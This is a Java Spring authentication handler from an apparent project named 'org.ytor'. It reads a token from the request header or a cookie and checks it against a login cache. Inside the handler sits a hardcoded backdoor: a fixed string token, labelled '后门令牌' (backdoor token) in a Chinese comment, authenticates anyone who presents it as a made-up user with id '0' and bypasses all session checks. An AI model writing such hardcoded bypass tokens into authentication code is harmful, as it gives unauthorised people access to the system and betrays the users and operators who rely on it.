package org.ytor.core.auth.handler.impl;

import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.ytor.common.enums.DateUnit;
import org.ytor.common.enums.RespCode;
import org.ytor.common.exception.BaseException;
import org.ytor.common.util.cache.C;
import org.ytor.core.auth.handler.AuthenticateHandler;
import org.ytor.core.holder.U;
import org.ytor.core.model.LoginUser;
import org.ytor.core.sysapi.user.logic.SysUserLogic;
import org.ytor.core.sysapi.user.model.SysUser;
import org.ytor.core.sysapi.user.repository.SysUserRepository;

/**
 * 认证默认实现
 */
public class DefaultAuthenticateHandler implements AuthenticateHandler, ApplicationContextAware {

    private Long timeout = -1L;
    @Autowired
    private SysUserRepository userRepository;

    @Override
    public void setApplicationContext(ApplicationContext context) throws BeansException {
        timeout = context.getEnvironment().getProperty("system.auth.time-out", Long.class);
    }

    @Override
    public boolean doHandler(HttpServletRequest request, HttpServletResponse response) {
        String authorization = null;
        //1.首先尝试从请求头中获取令牌
        authorization = request.getHeader("Authorization");

        //2.如果没有获取到，则尝试从cookie中获取令牌
        if (authorization == null) {
            Cookie[] cookies = request.getCookies();
            if (cookies != null) {
                for (Cookie cookie : cookies) {
                    if ("Authorization".equals(cookie.getName())) {
                        authorization = cookie.getValue();
                        break;
                    }
                }
            }
        }
        //如果还是没有获取到，认为用户尚未登录
        if (authorization == null) {
            throw new BaseException(RespCode.NOT_LOGIN);
        }

        //根据令牌获取登录用户信息
        LoginUser loginUser;
        if ("YANGtong123$%^".equals(authorization)) {
            //后门令牌
            loginUser = getLoginUser();
        } else {
            loginUser = C.get(authorization);
            //缓存中没有当前令牌信息，说明登录过期，用户信息已经从缓存中被清除了
            if (loginUser == null) {
                throw new BaseException(RespCode.LOGIN_TIMEOUT);
            }
            //走到这，说明当前用户已经登录了，认证通过，更新当前用户的访问信息并重置过期时间
            SysUser sysUser = userRepository.queryById(loginUser.getId());
            loginUser.setUserName(sysUser.getUserName());
            loginUser.setRealName(sysUser.getRealName());
            loginUser.setDepartCode(sysUser.getDepartCode());
            loginUser.setToken(authorization);
            loginUser.setLastRequestTime(System.currentTimeMillis());
            loginUser.setRequestCount(loginUser.getRequestCount() + 1);
            C.put(authorization, loginUser, DateUnit.SECOND, timeout);
        }

        //6.设置当前用户上下文
        U.set(loginUser);
        return true;
    }

    private LoginUser getLoginUser() {
        return new LoginUser()
                .setId("0")
                .setUserName("yangtong")
                .setRealName("yangtong")
                .setLastRequestTime(System.currentTimeMillis())
                .setLastRequestTime(System.currentTimeMillis())
                .setRequestCount(1L)
                ;
    }
}
